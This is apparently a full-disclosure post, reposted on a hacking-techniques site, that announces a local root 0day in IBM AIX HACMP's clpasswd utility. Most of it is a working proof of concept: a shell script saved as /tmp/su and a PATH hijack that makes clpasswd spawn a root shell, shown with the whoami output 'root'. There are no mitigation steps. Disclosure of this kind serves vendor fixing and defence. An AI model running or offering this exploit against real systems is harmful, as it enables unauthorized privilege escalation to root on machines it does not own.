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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

IBM AIX High Availability Cluster Multiprocessing (HACMP) LPE to root 0day

Let's kill some more bugs today and force vendor improvement :)

"""
$ cat /tmp/su
#!/bin/sh
/bin/sh
$ chmod +x /tmp/su
$ PATH=/tmp /usr/es/sbin/cluster/utilities/clpasswd
# /usr/bin/whoami
root
"""

References:
https://en.wikipedia.org/wiki/IBM_High_Availability_Cluster_Multiprocessing
http://www-01.ibm.com/support/knowledgecenter/SSPHQG_6.1.0/com.ibm.hacmp.admngd/ha_admin_clpasswd.htm

--
Kristian Erik Hermansen (@h3rm4ns3c)
https://www.linkedin.com/in/kristianhermansen
--